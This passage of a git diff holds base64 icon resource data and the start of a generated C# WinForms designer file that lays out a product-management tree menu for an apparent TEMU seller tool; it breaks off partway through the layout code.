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 + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/UploadForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/UploadForm.Designer.cs new file mode 100644 index 0000000..1e80742 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadForm.Designer.cs @@ -0,0 +1,207 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class UploadForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.TreeNode treeNode1 = new System.Windows.Forms.TreeNode("商品发布"); + System.Windows.Forms.TreeNode treeNode2 = new System.Windows.Forms.TreeNode("佣金设置"); + System.Windows.Forms.TreeNode treeNode3 = new System.Windows.Forms.TreeNode("净化数据"); + System.Windows.Forms.TreeNode treeNode4 = new System.Windows.Forms.TreeNode("产品数据库"); + System.Windows.Forms.TreeNode treeNode5 = new System.Windows.Forms.TreeNode("商品上下架"); + System.Windows.Forms.TreeNode treeNode6 = new System.Windows.Forms.TreeNode("清理无流量"); + System.Windows.Forms.TreeNode treeNode7 = new System.Windows.Forms.TreeNode("库存管理"); + System.Windows.Forms.TreeNode treeNode8 = new System.Windows.Forms.TreeNode("特殊延迟发货"); + System.Windows.Forms.TreeNode treeNode9 = new System.Windows.Forms.TreeNode("云违规排查"); + System.Windows.Forms.TreeNode treeNode10 = new System.Windows.Forms.TreeNode("跳转上家"); + System.Windows.Forms.TreeNode treeNode11 = new System.Windows.Forms.TreeNode("上传错误列表"); + System.Windows.Forms.TreeNode treeNode12 = new System.Windows.Forms.TreeNode("商品管理", new System.Windows.Forms.TreeNode[] { + treeNode1, + treeNode2, + treeNode3, + treeNode4, + treeNode5, + treeNode6, + treeNode7, + treeNode8, + treeNode9, + treeNode10, + treeNode11}); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.panel2 = new System.Windows.Forms.Panel(); + this.lblName = new System.Windows.Forms.Label(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.tv = new LittleRabbit.UserComponent.UcTreeView(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.panel3); + this.panel1.Controls.Add(this.panel2); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(793, 521); + this.panel1.TabIndex = 2; + // + // panel3 + // + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(0, 28); + this.panel3.Name = 